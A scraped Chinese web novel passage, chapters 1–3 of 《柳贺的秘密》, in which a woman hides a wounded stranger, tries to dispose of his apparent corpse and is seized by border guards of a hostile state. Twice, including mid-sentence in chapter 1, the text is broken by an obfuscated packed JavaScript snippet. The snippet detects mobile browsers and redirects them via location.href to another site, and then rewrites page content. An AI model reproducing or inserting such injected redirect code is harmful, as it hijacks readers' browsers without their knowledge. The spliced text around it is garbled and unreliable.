《柳贺的秘密》 1. 第 1 章 “咚——咚——” 外头又传来响声。 有人在敲门。 这一夜注定不安宁。 正深陷在一阵鸡飞狗跳中的陆随心胸口一抽,没来由地有些恐惧。 半炷香前,一个血淋滴答的神秘黑衣客闯进门来,她便知道眼下的太平日子要到头了。 “别出声,我在此地躲躲。”这年轻黑衣客整张脸惨白,血色污泥斑斑点点,几绺碎发在颊边拧成一块,姿态却依旧昂扬,扶着门,左手食指轻轻贴唇,朝他们做了个噤声的手势。 他语气虚弱,口气却不小,好像自己不是私闯民宅的罪人,而是回了家的少爷,眼前人不过是他的奴仆。 在陆随心一家无声的注视下,他拖着明显已经不太行的身体硬是走过门口的几张矮凳、又撑过给福圣王祭日放贡品的木桌,混乱中还推翻了一根点着的蜡烛,愣是到了最里头的醉翁椅边上,把自己摔了进去,才闭上眼不出声了。 “诶——”陆随心的阻拦被淹没在了黑衣客和醉翁椅撞击的那一声闷响里。 她很是心疼这把椅子。 那是前阵子她靠两条腿一路跋涉到大北县去买的,是她住在民安村以来的最大一笔开支,雇了两个伙计一辆车才给搬回家,花出去的运货钱比椅子都快贵了。 怕被村里人看见嚼舌根,她还特地加了钱,要人家在天没亮的时候送来。自此便和这椅子生了情,风里雨里在屋里躺着它,晴了暖了就搬到外面和它好,除她之外,再没第二个人和它紧挨过。 “这……这人是谁啊?” 陆随心不愿想象这黑衣服的会在椅子上留下什么痕迹来,走到桌边将他推翻的蜡烛扶起,就听到刚从底下钻出来的陆少疾在问。 十二岁还是调皮的年纪,他本来正抓着一把短木剑在家里瞎比划,见黑衣客进来一刻没犹豫就跟老鼠似的往桌底下滚了进去,在那里支着耳朵听了好一会儿,确定没声响了才跑出来。 陆少疾探着脑袋,确定椅子里的人没了声响,转过头去看着家里的两个女人,一叉腰,学着村里的杨婶,挤眉弄眼地问,“这是你们俩谁的相好啊?” 陆随心此刻正紧紧盯着椅中人,一边轻车熟路一手就把陆少疾的头给摁了下去,“小崽子别乱放屁!” “阿姊打人啦!打人啦!”手底下的脑袋胡乱喊着。 一旁的李芸娘忙把陆少疾拉到自己怀里,“你欺负他作甚!小孩子开玩笑罢了。” 李芸娘眉细,唇薄,一开口眼角就有波光流转,说什么都像是唱歌的前调,哪怕罩着宽大粗制的衣衫,也藏不住她骨子里的柔媚身段,一张脸生得也好看,三十岁了还是能叫村里的男人驻足就为同她多说两句话。 “叫他多嘴。”对李芸娘的护犊子行为,陆随心懒得多说,只是眼前这一幕越看越叫她揪心,她无法忍受这不明不白的人这般占着自己的宝贝,结果刚跨出半步腰间衣服就被身后人给扯住了。 “你不要命了?做什么啊?万一他抽出把刀给你削了。”这话说得挺凶,但从李芸娘嘴里出来,音还是软的。 她说着偷偷滑到陆随心耳边,悄没声道,“我说,不会和那件事……就是和十二年前那事……有关吧?” 陆随心一听,立马五脏六腑都被搅了起来,忙把李芸娘推开,轻声呵斥,“别见风就是雨!和你儿子一样,天天在这胡说八道。” 其实李芸娘的感觉一向都准,只不过这时候的陆随心是绝不敢信如此离谱的猜测的。 李芸娘“啧”了一声,也略略拔高了音调,“那你说,这怎么回事?这小破村都没几户人家,一天到头不见陌生人,怎么就突然冒出来这么个……人不人鬼不鬼的?你看他那样,那个脸上,还能看到血!那个嘴,煞白煞白,一点活人的色都没,怕不是要死在家里头!” 说罢就扯着陆随心的袖子晃,声音低了下去,微微发颤,“要真死这儿了可怎么办?” 陆随心的脑仁一阵阵抽痛,宝贝椅子被占的事儿一下就不重要了,她只想使点力赶紧把李芸娘的手撸开,就听到她一声极力压抑的尖叫,“啊!陆少疾你干什么呢!” 而敲门声就是在这时候响起的。 就在李芸娘拽着陆随心的手喊住自己儿子,而这位初生牛犊的少年已经把木剑狠狠戳向了醉翁椅里的黑衣客时,外头传来了敲门声。 屋子里突然一片寂静。 所有人都停下了动作,屏息听着外头的动静。 “咚——咚——” 再两声响后,一切又都归于虚无,甚至让人怀疑是否真的有人在门外等候。 “该不会是……什么追兵来了吧?”李芸娘抖着声音轻问。 陆随心被她抓得疼,另一只手拍了拍她肩,嘴却抿得紧,没说话。 “喂,你。” 她听到一声低沉的呼唤,一抬头就对上了黑衣客的眼。 这人不仅醒了,还在无人注意时把陆少疾按到了自己胸前,那把无锋无刃的木剑也易了手,被直直指向了陆随心的眉心。 “就你。”黑衣客把木剑又收回去抵住了男孩的脖子,以一种气若游丝的狠威胁道,“你……去开门应付一下,绝不准说出我在这儿。” 陆少疾活到现在可没经历过这场面,那木剑的尖被摁在他颈项薄薄的皮肤上,吓得他绷直了身子一动不敢动,嘴里漏出几声断断续续的“呜呜”。 “啊——你快把我儿子放开!” “知道了,我这就去。”陆随心伸手将李芸娘拉到身后,盯着黑衣客,略带嘲讽,“只是你要有这力气欺负小孩,还不如赶紧找地方躲起来。” 霎时她手心一痛,那儿顿时多出了几个指甲印。 “柳……陆随心你瞎说什么,你不要你弟弟的命啦!” 陆随心狠狠睨了她一眼,但凡她能冷静下来好好看上一看,就清楚眼前这男人明显是在装狠,再掩饰也止不住他握着木剑的手在发抖,别说是个四尺孩童,现在怕是一只瘟鸡他都掐不死。 她轻轻甩开李芸娘,拿了墙边的一盏油灯,“你在这儿等着,别出声。” 一出门走到略显荒寂的庭院里,方才生出的狠劲儿便一下子都松泄而去,一双腿重如千斤,动弹不得。 边陲小村,夜深路静,身后窝藏着重伤在身的黑衣客,前面又来一个不知意图的敲门人,家里只有两个女流之辈,外加一个毛都没长齐的总角男童,真要有人想举刀见血,怕是怎么都逃不过。 她脑中突然闪过模糊一片,奇形怪状的身体,遍地流淌的红色和毫无生息的人脸。 “咚——” 敲门声又响起来了,把她从血色的回忆里震出。 “咚——咚——” 借着头顶的月色往大门望去,陆随心看到了半尺宽的门缝,门缝外头是一团模糊的黑影——门根本没有关!那这人为何要敲门? 顺着门缝,她的目光爬上来人的衣襟,想要看清他的脸,但项上部分全都折在门扉的阴影里,就像站着一个无头之人,戏本画册里说的那种专从地底下爬出来的东西。 她她身子一冷,生怕自己把自己吓死,索性加快了步伐,越过庭院里堆积的草垛和一把手推车,猛地将门拉开,装出一股不耐烦的地主气势来,“谁大晚上的扰人……” 定是方才在脑海里想起了太多牛鬼蛇神,以至于阴影里的脸在白月光下露出的时候,叫陆随心感受到了所谓的“会心一击”。 幸而这月够满月色够亮,加上手上红晃晃的油灯,她才能那么清清楚楚地看到眼前这人,他是真像戏本画册里走出来的,但不是东西,更不是地底下来的,而是从记忆里来的,是她从小到大会想着的侠客,是那种飞檐走壁劫富济贫的好人,还是那种年少成名的天才。 人家说的剑眉星目,他有,说的面如冠玉,他是。 可再一细看,就和书里不一样了,他的肤色更像一块墨玉,唇角明明微微弯起,是微笑的神情,却莫名透着冬意,冷得很。 再往他腰间扫去,没看到任何佩剑。 侠客总是要佩剑的,不配剑的往往不会是侠客。 陆随心皱了皱眉,心随之冷了下去。 对面的人不知在想什么,也不动不说话,两个人就这么守着一扇半开的门,相看了好一会儿,似乎都在确认彼此的身份。 “你找谁?”她终是壮着声势问。 眼前的黑衣人在这句话后将眼神从很远的地方收回来,微微点头示意,“姑娘,叨扰了,不知是否有见着一个……和我一般的人?” 还真是追兵?! 陆随心迅速思考着自己到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760872|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该站哪边,屋里的显然不像是善茬,屋外的这个长得人模狗样,但未免有些礼貌过头了,她想象不出一个黑夜追凶的侠客怎么会如此淡定从容,若追的是穷凶极恶的坏人,侠客难道不怕他伤及无辜,竟还能有闲情逸致在这一遍遍地敲门吗? 这绝非什么好人。 陆随心几乎笃定这一点。 还是觉得应付屋里重伤的简单一些的她把门摁过去准备关上,“没见着。” 对面的人跨了一只脚进屋,右手握着门的边缘又推了进来,目光从陆随心的脸上移开,往里屋看去,“是真没见着?” 他的力道很大,陆随心丝毫抵挡不住,只能任他挤进来,和自己咫尺距离,说话的热气似有若无地轻轻撩过头顶,吓了她一跳,忙就势低头,把自己枣沙色的粗布衫抓起一个角给他看,强作辩解,“真没见着,你看,我们这儿的人都不爱穿黑衣,若见着了,我一定会记得的。” 那人微抬下巴指着里头,两扇纸窗都透着光,甚至还能见着人影,“这么晚了,家里还点着灯?” 她胆子顿时大了起来,把腰板直起,“今天是福圣王祭日,整个云国上上下下家家户户都要为他老人家守香,哪怕是我们这边境小村……阁下是哪里人?这么大的事,竟忘了吗。” 黑衣人没回话,只是又盯着她看了一会儿,好像要辨别她是否在虚张声势。 陆随心也就那么梗着脖子看他,继续添油加醋,“劝你赶紧去别地儿找你要找的,兴许还能赶上回家守香,否则他老人家明年就不会保佑你啦。” 他把踏进门槛的脚收了回来,眼神却还留在屋里,“你说得有理,我是该上上香,求他好好保佑保佑,让我找到要找的人。” 陆随心听出他话外有话,但不像是讽刺——整个云国谁敢讽刺福圣王?也不像是反话。 她不明白他是什么意思,便不说话。 眼前这人微微低下头来,似在等她开口,良久听不到她声音,神色有些黯,“姑娘既然没见着我在找的人,我就不在此……惹人生厌了。只是此人甚是危险,哪怕受了重伤、手无寸铁,总之姑娘还是……不要太靠近他的好。” 他的目光越过陆随心在庭院里的一处看了好一会儿,嘴里说着道别的话,腿上却半点动作都没有。 陆随心不喜欢听一个明显比自己岁数小的人口口声声地叫自己“姑娘”,可她更清楚自己在这门槛边说的每一句话都是向天借了不少胆的,可不敢在这骂“竖子无礼”。 于是她不仅按捺住被冒犯的心,甚至还陪了一个浅浅的笑脸,“多谢这位小爷提醒,我若见了,一定离得远远的。那就……恕不远送。” 直到她把门朝他的脸压过去,那人才有些依依不舍地又往后退了退。 见此,陆随心大大松了口气,强撑的双腿一下了软了几分。 她“啪”一下把门合上,抬起边上的门拴把门锁了个严实,心里把今天最晚回家的陆少疾骂了千百遍,就是这小崽子进门不关门,惹来了两个瘟神。 刚迈腿要往屋里走,准备进去处理另一个,却见脚边有一滴异样的水渍,她把油灯照过去,见那眼色颇为深浓,心一沉。 弯下腰去拿手一蘸,放到眼前看,不是水,是血! 是屋里的黑衣客逃进她家来时落下的痕迹。 方才那人走之前是在盯着这里吗?那他为什么不戳穿自己? “哎哟——这可如何是好——随心——随心——”烛火摇曳的里屋传来李芸娘的哭天喊地声,打断了她思绪。 陆随心站起来就往里跑,她生怕是自己估错了黑衣客的能耐,那破木剑真的伤到了陆少疾。 推门进去,陆少疾跌坐在地,从他大大睁开的圆眼和急促呼吸的小嘴来看,除了受到点惊吓,绝无性命之忧。 陆随心将油灯放下,走过去把他从地上拽起来,就看到李芸娘也摔在了醉翁椅旁边,朝她挥手,“随心,不得了,不得了,出事了……” “怎么了?”陆随心刚把问题问出来,就亲眼见着了答案。 本来紧攥着木剑的那只手摊了开来垂到地上,木剑滑落到了一旁,手的主人整个头歪到一边,深埋在他的颈窝里,像是找到了生命终点的归宿。 “阿姊!他死了。” 陆随心听到弟弟在喊。 2. 第 2 章 眼下这局面已经完全超出了陆随心的想象。 不是说她没见过死人,而是她从未……处理过死人。 她一时慌了神,但还是想起来要好好辨别一下眼前的到底是一个人还是一具尸体。 如果是身首异处那自然好分辨得多——人没有了头总归是活不了的,可四肢俱全的情况下,总归要麻烦些。 陆随心想起祖上的行当,走到边上,把手探到黑衣客的腕上,摸寻着他的脉,等了等,又等了等,她指尖的皮肤木木的,没有感受到任何跳动。 她又把手指放到他鼻子下面,指腹麻木,毫无所觉。 “真死了?”李芸娘看她脸僵如死灰,两只手绞在一起,搓得通红,带着颤音,“这可怎么办呀?怎么办呀!” 陆少疾呆呆地站在一边,手足无措。 他们都在害怕,她便只好镇静起来,当机立断双手绕过黑衣客的腋下,就要用力将他整个上半身托起,只是她不知道一具成年男人的尸体居然能重到这个地步,和巨石无异,差点没把她的话给生生压死在喉间,“快,你们俩,抓住他的腿!” 有一刻,陆随心想着,可算能把他从这椅子上赶出去了。 李芸娘还没从眼泪水里缓过来,见状恨不得又叫起来,“你……你这是要做啥呀?” “给他扔出去,找地儿埋了。”陆随心暂时把力卸了歇歇,耐着性子回,“难不成你还想留着他在家里过夜?” “那……” “赶紧的,要不然等尸体臭在家里,瞒都瞒不住。”陆随心见李芸娘还在那儿犹犹豫豫,狠狠瞪了她一眼,见陆 少疾在一旁又不敢把话说太明,“你知道被发现是什么下场吧?” 李芸娘这才明白她什么意思,抿了抿泛白的嘴唇,忙不慌地点头。 “快!抬腿!” 陆少疾没明白俩人打的什么哑谜,只是下意识跟着阿姊的指令行动。母子俩手忙脚乱地跑去,差点一同在黑衣客的腿上绊倒,好不容易分了工,费足了劲把腿抱住,可黑衣客的屁股还是牢牢粘在醉翁椅上一动不动。 “听我口令,我喊一二三我们一块儿使劲。一——二——三——” 黑衣客在三人不同方向不同力道的拉扯下从椅子里侧翻了出来,就着陆随心的位置整个摔到了地上,把她的腿压折过去,疼得她直咧嘴。 “阿姊——” 陆随心挥手要陆少疾不用过来,就势坐下来喘了口气,边把腿抽出来边指挥起母子俩,“这么着抬不行,我一个人来拖。陆少疾,你去把庭院里的小推车推门口来,芸娘去抱些稻草来,越多越好!” 说完就从地上把自己撑了起来。 “阿姊,我们慌什么,人又不是我们杀的,是他自己闯进门来死掉的呀!”陆少疾忍不住开口问,“报官不就行了?” “不能报官!”李芸娘生平头一次在儿子和陆随心中间坚定选择了后者,连带着声音都硬了好几分,“不能报官!” 陆少疾可能十二年都没听过亲娘这么跟自己说话,站在原地一时不知该作何反应。 陆随心拍了他一下,“傻小子,你真以为报官能好使?人是死在我们屋里的,说再多都百口莫辩。对他们来说,真正的凶手是谁根本不重要,赶紧结案才是。” “听你阿姊的话,快去推车吧。”李芸娘也冷静下来,从后头轻轻推了一下儿子。 陆少疾这才点了头,跑出去了。 李芸娘站起来后又回头看了一眼陆随心,竟有些视死如归的气魄在里头。 陆随心晓得那是什么意思,是福是祸是生是死,早在十二年前那次血光中的初次照面就已经注定了,她们俩是一条船上的。 当然不能报官,因为她们是从千里之外逃到此地的黑户,来这偏僻的小村为的就是远离人群,总不能自己傻傻往官爷面前送。 把尸体弄上推车用稻草铺得严严实实可以说花去了这一家子几乎全部的力道,当陆随心看着这一车以假乱真的草料时才突然开始犯难,“给他丢哪儿去?” “诶,那个村西边不是有片荒地吗?” “不行,今天家家户户都在守香,去西边得穿过整个村子,保不齐被人看见问两声。” “那……要不给他扔屋后的井里算了。” “……你是想以后喝尸汤水吗?” “那只能往东边走了?可东边就是定国了。” “……” 陆随心愁到觉得自己的头发在一根根远离头皮而去,飞入空中,落到地上,消失在土里,随后,她的头秃了。 “我知道!东边有一条小路,走过去有一片野林子,没在那儿见过其他人,荒得很。” 那些头发又飘到空中,一根根接回了她的头皮,陆随心抓住弟弟的胳膊,又惊又疑,“你确定?” 陆少疾狠命点头,生怕阿姊不信自己,“确定!就前几天我还去那儿玩过。” 李芸娘作势就要去打他屁股,“一天到晚都在什么地方瞎混?东边是能乱去的地儿吗?万一让定国人给你抓起来!” 陆少疾躲都不屑躲一下,他知道亲娘的力道及不上阿姊的万千之一,说打也就是碰一碰罢了,反过来倒是昂起了头,“哼!要不是我一天到晚’瞎玩’,今天晚上看你们去哪里扔尸体!” “行了,别吵了!陆少疾给我带路,芸娘留在家里。”陆随心把袖子高高挽起,在肘弯处固定住,抓住车把手就要推着走。 “我一个人留在家里?” “人多了扎眼。你好好把家里擦一擦,可别留下什么血迹。尤其是我那把椅子。”陆随心说着便蹙了蹙眉,她还坐得下去那把椅子吗?还是等她回来,想办法把它卖了算了? 李芸娘不知道陆随心的小九九,只知道自己不得不同意这个安排。她无法替代儿子成为领路人,也不想替代陆随心去做抛尸者,于是只好把再次拉开的大门当做支柱,整个人趴在上头给二人送行。“你们俩快去快回。” “知道了,你赶紧回去吧。”陆随心走之前与她对视了一眼,一如当年俩人牵起手决定逃离的那一刻。 那一桌子祭品还在原处安静等着,李芸娘走回去,一根又一根地把香续上,乞求福圣王保佑她的儿子能够平安归来,乞求十二年前的事情永远不会殃及到陆少疾。 其实陆少疾根本不怕这趟夜行,一旦那个黑衣客不能动弹了,就对他小小的心灵毫无威胁,整桩事情便有趣起来好像冒险似的。 他兴冲冲地走在陆随心的推车前,扮着引路人的角色,在泥草路上东张西望,时而回头指挥他的阿姊跟上,全 然没发现推车人的额头被越来越多的汗水浸透。 “阿姊,你快些跟上啊!” “别催!”陆随心的手掌在车把上磨出了火辣辣的疼与痛,那儿在发热、发胀,她不知道走了多久,也许一两个时辰?腿沉、气喘、心慌,都比不上她现在想放弃的心——要不就把尸体扔这儿算了。 “陆少疾,还有多久能到?” 他们居住的民安村早在身后见不着影了。 周围的景色越发荒凉,东边因为连着定国本就人迹罕至,现下更是静得渗人,路不成路,两边是高耸的山林,只有一条丈宽的峡道,长满了半人高的野草。 整个月色下只能听到车轮子快要散架般的嘎吱作响。 “到岔口了!” 前方的路被一堆缠绕的藤蔓碎石挡住,陆少疾熟练地从一个洞口钻了过去,这次他倒是没急着走,又回过头来替身后人把洞口撑大,好让推车也能挤过去。 看着这个洞口,陆随心再也不能忽视那些心底的那丝犹豫,“这条道……” “哎呀,阿姊你快呀!这么磨蹭什么时候才能弄完呀。” 在陆少疾的推搡下,焦躁彻底冲散了脚下粘滞的脚步,她加了把劲儿,把车推了出去,“野林子还有多远?” “照你这速度……且还得走一会儿。” 陆随心已经能尝到自己喉头的苦味,听到陆少疾挤眉弄眼、语带嫌弃,一想到这一切的始作俑者就是归家不关门的这兔崽子,气得把推车一摔,“来!你过来推会儿车,我歇歇。” “我不……我推就我推。”陆少疾想要反抗的心在他阿姊能毁天灭地的眼神里尽数化作云烟,他不太情愿地去抬车,车纹丝不动,又在陆随心轻蔑的笑里加大了力道,亦步亦趋地往前行。 陆随心松着手腕,一边打量起周遭的环境,不远处的一大团褐色跳进视线,她走过去,发现是一块被枯枝烂叶缠满了的巨石。不安的好奇心作祟之下,她伸出手去把那些藤蔓扯开,蒙灰的朱砂色在经年累月的无人看顾之下露出了自己的真面目。 “陆少疾,陆少疾!你过来。” 在推车大业上毫无建树的男孩听到此句,立刻弃车而来,“怎么了?阿姊,你发现啥了?” “你说野林子还在前头?” “对呀!” “你看这是什么?” “……石头呗!” “你瞧上面的图案。” “一只狗?” “这是虎!大老虎!是定国人的图腾。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760873|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这居然是老虎啊……”陆少疾歪着脑袋,细细琢磨着定国人的雕刻手艺,“哦,我好像看到它的胡须了!嘿!还真是只虎啊,阿姊!” 年少不知真章。 陆少疾只管傻乐于辨清楚了虎狗,根本不知道此时自家阿姊的胸膛里如何猛烈跳动,又是为何猛烈跳动,直到他在风吹草动的夜色里听到了那一句真相。 “我们这是踩进定国的地界了。” 方才那道薄弱的阻隔,自然就是两国人力的杰作了,只是年岁久远无人维护,反倒在杂草的掩护下成了少有人知晓的暗道。 “啊?那怎么办?”陆少疾又把脸挤到了一起。 “别出声,让我想想。” 对于被迫给定国上供了近百年的云国人来说,要抛尸抛到敌国去,需要的可不仅仅是一点儿胆量。 但陆随心还是看到了一个极具风险的机会,一个死在云国的云国人也许会引出无限麻烦,但一个死在定国的云国人却可能比浮毛还轻。 在定国眼里,云国只是他们每年收缴财物的一座仓库。仓库里死了谁,他们又怎会在意。 “我娘说定国人都可坏了。我们赶紧回去吧!” “不!这是我们千载难逢甩掉他的好机会!”陆随心指了指推车,“我们继续往前!把他藏到你说的那片野林子里去!” “可是……”陆少疾的脸挤到一起,支支吾吾不肯动了。 “你放心吧,但凡一会儿有什么风吹草动,你就先回家去,不必管我。”陆随心宽慰着弟弟的当口,突然想到什么,“等等,忘了件大事儿!” 说着她就把手伸进草堆,越过层层叠叠的稻草,摸到了底下的黑衣客,强忍着胸膛里翻滚的不适在他的身上细细搜寻。 在指尖碰上那身衣物的时候,陆随心浑身一僵,有些吓坏了。料子太软太滑,明显价值不菲,这具尸体绝非普通人。 可事已至此,她退无可退。 “你……你在死人身上摸什么啊?!” “我看看他有没有带着能证明身份的东西。”陆随心的手碰到一团异物,掏出来一看,是一块玉佩和一张匆忙叠起的纸。 “摸到什么了?” 陆随心左手抓着玉佩,用右手把纸展开,纸的一侧有不平整的撕扯痕迹,明显是从一本册子上匆忙撕下来的。借着天上的玉盘想看清上面的秘密,她勉强读到了开头的“成惠二十四年七月廿二”,也在那密密麻麻的文字里找到了“柳贺”的字眼,顿时心如擂鼓、双耳嗡鸣,天地一下子离自己远去了,碎裂的画面在猛击她的脑袋。 “阿姊、阿姊……阿姊!阿姊!” 直到陆少疾拽着她的衣角,用颤抖的气声叫了四五次,陆随心才从头重脚轻中回过神来,她低下头,看到男孩的五官都扭到了一起,指着前方的草丛,“有……有人来了!” 一团火苗在不远处摇摇晃晃,朝他们的方向而来,抓着火把的是一个六尺左右高的男子,旁边站着着装完全相同但要胖了一大圈的另一个人。大喊声穿过黑夜,在乱草堆响起,直扑过来,“谁在那边?!” 是定国的守卫! 陆随心根本来不及思考,把手中的纸张草草一团,塞进陆少疾的胸口,摁着他将他塞到巨石后头,让他蹲下把身子缩成一团,又向他做了个噤声的姿势,用上了她这辈子能摆出的最严肃的表情,迅速又狠厉地叮嘱了他一句,“千万别出声。” 陆少疾吓得双目湿润,双手交叠紧紧捂在自己的嘴上。 陆随心只能期盼脚下疯长的乱草足够遮掩弟弟的痕迹,她听到脚步声越来越快越来越近,不等自己把手里的玉佩藏起来,带鞘的刀已经从背后重重按到了她的脖子上,又冷又硬,“你是哪来的?在我定国边界鬼鬼祟祟干什么!” 她僵立在原地,暗暗把天上的神仙求了个遍,求他们能随便给点儿提示好让她编出一个唬人的理由来。 可她什么都想不出来,只能眼睁睁看着另一个拿火把的守卫走到推车前,他的眼角处有一道很深的疤,整张脸 就像被车轮轧过一样,举着刀就往稻草里毫无顾忌地捅了下去,“这是什么?” 有一瞬间,陆随心以为自己吃了传说中的迷魂草,或是得了失心疯,可她分明看到那一处稻草动了一下。 可稻草是不会动的,只有稻草下面的东西会动。 她终于知道刚刚往黑衣客身上找东西的时候,那种吓坏的感觉是因为什么。 她的手摸到的是一股明显的温热。 就好像、就好像这人从未死去一样。 3. 第 3 章 黑夜、白月、拂过乱草的风。 背后如墙壁一般的守卫、推车里不易察觉的细微起伏、第二次即将落下的刀、巨石后面被手捂住的喘气声。每一样都让陆随心吞咽着嗓子眼里急速的跳动,也能舔舐到从额头那儿滚到唇边的汗滴。 “我说!”她将手里的那枚玉佩举过头顶,两个守卫的目光都汇到了那儿,而肩上的刀又离她的脖颈近了一寸。 陆随心把右手往后转去,让玉佩能被清楚地展现下身后人的眼前,“我全都说,我是云国来的,是……是有人 给了我这枚玉佩,要我把这车东西推到这儿来的。” “哼,云国人。” 手中的玉佩被猛抽了过去。 她能听到身后人的语气轻蔑至极,他应是做了个动作,车边的疤痕男眼睛一闪,露出半分不屑,后举着火把走了过来。 “站着别动,给我老实点!” 陆随心只希望这枚玉佩足够好、足够贵、足够让这两个守卫满意,把眼前的一切装作没看见,可她现在背对着自己的生死险关,犹如囚在暗室的盲人。 “我看这玉倒是真不错……诶!你干嘛!刘一德!”玉佩似乎被抢了过去。 “我看看上面写了什么。” “你不会是想独吞吧?……你什么眼神?昨天调令已下,你是我手下了,你敢不服?”刀被举起和刀鞘相击的声音传来。 火把的光在后面摇曳。 先前的疤痕男刘一德似乎又把玉佩扔了回去,满口嘲讽,“王大人,你好好看看这上面写的什么字!” “写什么了?啊……这……这是……翊……” 此时的陆随心除了如他们命令的那般傻站着,对自己能做些什么来扭转局势可谓毫无办法。 她竖着耳朵听他们的争吵,并试图捕捉住周遭的每一个声音,好让自己的身体不至于发抖。 所以当巨石后面发出异动的声响时,陆随心确信自己一定是头一个听到的,她没有任何犹豫,在两个守卫做出反应之前就弯腰拔腿,绕过他们狂奔了起来。 她没有跑回云国,而是往定国更深的地方,头也不回地冲了过去。 她已经失去过一个弟弟,总不能再失去这一个。 “诶!跑了!跑了!” “快追!” 这是全然徒劳的努力。 陆随心还没跑出半里地,就被整个扑倒在地上,碎石狠狠划过她左边的脸颊和耳朵,她的皮破了,血也渗了出来,胳膊被当做萝卜一样掰了过去,手肘处的绳子随即紧紧勒住了她的所有自由。 “跑得倒是挺快!” 她听出是疤痕男的声音。 刘一德拎着绳索打结的地方,将陆随心翻了过来,啐了她一口,“你们云国人就是不识好歹!让你站着别动听不懂吗?” 唾液就吐在陆随心昨日刚洗净晒干的衣衫上,靠近胸口的衣领位置,在李芸娘努力搓洗过的痕迹上留下了一团犯着恶臭的水渍,其实她并不真的能闻到那个味道,她只是觉得那一定是臭的。 哪怕小时候她脱了裙子爬树被父亲发现,随后父亲当着家里所有仆从的面打了她屁股三下,要她长长记性,都不及今天的屈辱之万一。 陆随心扬起脸,死死盯着刘一德,不躲闪、不畏惧,就那么盯着,像是要靠眼睛在他身上烧出两个洞来。 刘一德不知怎么不敢回应,掩饰般把头转了过去。 “怎么……怎么样?抓……抓着了?”姗姗来迟的王大人顶着自己的偏偏大腹,呼哧带喘跑了过来,见陆随心被绑了起来,抬脚就要踹过去,“你这死云虫!” “行了,王大人。”刘一德抬手将他扶住,脚下的劲儿就自然松了,陆随心腹部只是一阵轻痛,反而那句“死云虫”狠狠扎进了她的耳朵里,生疼生疼。 “人已经绑上了,我们还是赶紧回去交差吧。”刘一德把陆随心从地上拽起来,往前一推,要她自己走,话却还是对身边人说的,“那玉佩你看了吧。” “看了,仔细看了。”也许是疤痕男的敏捷身手替王大人兜住了刚上任的颜面,王大人也不再摆架子了,作出一副共谋大计的神秘样子,“这可是大事儿。一德,这……对咱俩来说,是好是坏呀?” “先回去看看车上装了什么。” 陆随心脚下顿了一步,身后立刻破口大骂,“走呀!快走起来!” “诶,你,这玉佩是谁给的你?”刘一德举起刀连着鞘戳了戳陆随心的后背,问。 陆随心已经知道自己走错了棋,不是毫厘之差,而是错得离谱!那个黑衣客根本不是云国人,而是他们定国人——否则他们怎么会认识那枚玉佩? 她现在唯一的希望是他们只认识玉佩不认识人,这是她的最后一线生机。 “问你话呢!玉佩是谁给的?!”王大人抬脚又踹了她一下。 她咬住唇,警告自己千万不能动怒也不能发疯,活下来最要紧。敲门的“假侠客”就这么晃入了她的脑海里,她脱口而出,“我不知道是谁,就是、就是一个年轻男子,生得挺好看,给了我这枚玉佩,叫我……叫我把车推到这儿来。他说会给我一笔钱作酬谢,我家里苦,我就答应了……” “别说这些没用的!那个拿玉佩的人,他还说啥了?他人去哪儿了?” “他说他在云国还有要事待办,说只要我把推车送过来,你们,你们一看玉佩便知。”陆随心继续编着尚可圆过 去的故事,并拼命用细节来加深其可信度,“这条路就是他指给我的!我真的只是拿钱办事,其他一概不知。” “那你方才跑什么?” “我害怕呀。怕得昏了头了,否则跑的时候怎么会连方向都搞错呢。”陆随心没有真的搞错方向,当他们三人回到推车的地方时,她能清楚地看到巨石后面空空如也,只有摇荡的那些被压折的草昭示着不久前这里曾躲着一个人。 陆少疾在关键时刻倒是不笨,没有错过陆随心拼死为他创造的机会,跑得无影无踪了。 那一瞬间,陆随心的胸膛里空落落的。 就剩她一个人了。 独自面对两个凶神恶煞会叫她“死云虫”会踢她根本没当她是人的敌国守卫。 陆随心不知道自己的五味杂陈里,是开心弟弟可以平安回家多一些,还是伤心弟弟义无反顾的逃跑多一些。 她也想离开这茫茫的山路,回去那座小屋子,钻进棉实的被窝里,不必怀有任何忐忑地闭上眼,沉沉睡去,等待第二天的太阳升起,坐在她的醉翁椅上看书。于是她再次试探着向两人开口,“既然玉佩已经交到了你们手上,那我也就不再……” “啪!” 王大人一巴掌往她嘴上糊了过去,陆随心双唇巨痛,脑中嗡嗡作响,嘴里甚至能吃到鲜血的味道。 “闭嘴!乖乖在这儿别出声,不然让你领教爷的厉害。”他一手扶着腰带,展了展身,脸上的横肉跟着晃了两下,另一只手摁着嘴角意有所指。 陆随心脊背发麻,往后退了两步。 “快来!”另一边的刘一德远远地瞧了陆随心一眼,什么都没说,只是举着火把将推车上的稻草都拨开了。 黑衣客蜷曲的身体暴露了出来,他的脸埋在双臂里,混着血污依旧看不出一点活着的气息。 “这是谁?”王大人走过去,皱着眉仔细打量了一番,问。 他们果然认不出。他们没见过玉佩的主人。陆随心觉得身上轻了一些。 “不知道。” “活的死的?” “半死不活。” 王大人伸手就往黑衣客身上摸去,从上到下搜了个遍,什么都没找到,“晦气!身上一点东西没有。” 刘一德睨了他一眼,一声不吭。 “你说,那位爷为啥要把这人运回来?他不会是……”王大人觉得自己窥得了天机,挥着手猛拍刘一德的肩膀, “你听没听说,前几天宫中设宴,那位爷竟没有露面!有传闻说他偷偷跑去云国了,若传闻是真的,莫非……是去搞什么秘密任务了?而这是他的手下,受了伤先送回来治疗?一路上怕 